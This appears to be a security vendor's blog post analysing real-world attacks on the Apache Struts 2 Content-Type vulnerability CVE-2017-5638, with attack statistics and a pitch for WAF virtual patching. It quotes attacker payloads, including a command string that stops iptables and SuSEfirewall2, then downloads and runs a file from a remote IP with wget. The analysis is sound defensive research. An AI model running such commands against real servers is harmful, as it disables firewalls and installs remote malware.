On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header. Written in Java, Apache Struts 2 is the popular open source web application framework that we’ve blogged about before. This is yet another incident that adds up to a long list of vulnerabilities in this framework.
Vulnerability Leverages Content-Type Header
According to Apache, the vulnerability exists in the Jakarta Multipart parser. When an invalid value is placed in the Content-Type header, an exception is thrown. The exception is used to display the error to the user. An attacker can exploit this vulnerability to escape the data scope into the execution scope through the Content-Type header (see Figure 1).
Figure 1: CVE-2017-5638 exploit through Content-Type
Zero-Day Detection for Imperva Customers
Since the exploit to this vulnerability relies on manipulating the Content-Type header, Imperva customers were able to detect and block the attacks even before the vulnerability was made public (with zero-day detection mechanisms in SecureSphere WAF and Incapsula WAF) using the long existing “Unauthorized Request Content Type” rule (see Figure 2). The Content-Type header field is used to specify the format of information being sent, so that the receiving application will know how to handle it. In HTTP requests, the “Unauthorized Request Content-Type” rule is triggered when either the Content-Type cannot be correctly established according to the RFC or when the Content-Type is identified as an unauthorized type. Although this attack was detected by our zero-day detection mechanism, Imperva provided targeted mitigation to its clients a few hours after the vulnerability was released. While the new designated mitigation immediately caught new attacks, we had already registered attacks based on our zero-day detection rules eight (8) hours earlier. An official exploit was made public on March 7th, one day after the vulnerability was announced.
Figure 2: SecureSphere zero-day detection rules triggered upon Apache Struts attack
Attacks in the Wild
Since the vulnerability was made public, Imperva registered thousands of attempted attacks on customer deployments over the course of six days (see Figure 3).Figure 3: Thousands of CVE-2017-5638 attacks registered over six days
The attacks came from 1,323 IP addresses across 40 different countries (see Figure 4).
Figure 4: Origin of attacks
This is not the first remote code execution vulnerability discovered on Apache Struts. Just two months ago we published a blog discussing Apache Struts RCE vulnerabilities. It’s interesting to note that some of the distinctive features of Apache Struts RCE vulnerabilities presented then recurred in this case as well, most notably the fact that the lion share of attacks originated from China (67%) and East Asia (total of 80%).
Figure 5: CVE-2017-5638 attackers geo-location distribution
Another feature of RCE attacks on Apache Struts that was discussed in our previous post is the attack type. In short, we divided the attackers into two groups – attackers that target the same kind of attacks on many servers, in contrast to attackers that launch many attacks on a single web application. In Figure 6 we can see that in this case, most attackers (90%) targeted less than 10 applications while the rest (10%) targeted many web applications (up to 181 applications). Note that the target count displayed in the graph is of applications protected by Imperva’s SecureSphere Web Application Firewall (WAF). The attackers likely attacked many other unprotected web applications as well.
Figure 6: Number of targets per attacker
Usually in this kind of vulnerability, we witness many similar attacks in the first few days after an exploit is released. Those attacks are often copied from some initial exploit and then are slightly modified. We saw the same pattern with this vulnerability. When we analyzed the User-Agent header of the attacks (see Figure 7), we noticed that 99% of the requests included 10 unique User-Agent values that were being utilized by hundreds of attackers (source IPs). The recurrence in the User-Agents along different attacks and attackers provides strong indication of a bot-related operation.
Figure 7: CVE-2017-5638 User-Agents and source IPs
An interesting thing to note is that the most common User-Agent was “User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705”. Note the copy/paste error the attackers made when they forgot to remove the “User-Agent:” string from the header’s value.
When analyzing the attacks’ payloads, we saw that 87% of the attacks contained only 10 different commands (see Figure 8).
Figure 8: CVE-2017-5638 top 10 attacks payloads
Overall we noticed three types of commands in the attacks’ payloads:
- Reconnaissance (detects whether the web application is vulnerable), such as “#cmd=’echo klss’” or “#cmd=’whoami’”
- Takeover (downloads and executes files using external links).
Many such commands had the following structure “#cmd=’/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cd /tmp;wget -c http://<some ip>:6/16;chmod 777 16;./16;’”. We tried to trace the different links that the attacks referred to and found legitimate servers that were being exploited to host malicious files and a backdoor panel to track the number of downloads per file (see Figure 9).
Figure 9 – Remote download site for CVE-2017-5638 payloads
Stay a Step Ahead of Attackers
Given this isn’t the first RCE vulnerability we’ve seen in Apache Struts it will be interesting to see if the attack trend on the platform continues. In the meantime, organizations using Apache Struts 2 should take immediate steps to patch the vulnerability.
The official solution provided by Apache suggested either upgrading to a patched version or switching to a different multipart parse implementation—expensive options for many companies. An upgrade is often a long process that involves backups, testing, and sometimes even a partial shutdown.
An alternative is virtual patching. Instead of leaving a web application exposed to attack after discovering a vulnerability while code is modified, virtual patching actively protects web apps from attacks, reducing the window of exposure and decreasing the cost of emergency fix cycles until you’re able to patch them. A WAF that provides virtual patching:
- Doesn’t interfere with the normal application workflow
- Keeps site(s) protected and attackers out of reach
- Allows site owners to control the patching process timeline
In addition to virtual patching, zero-day detection mechanisms like those mentioned above protect sites by detecting and blocking new strains of attack prior to an attack release without any modification to systems.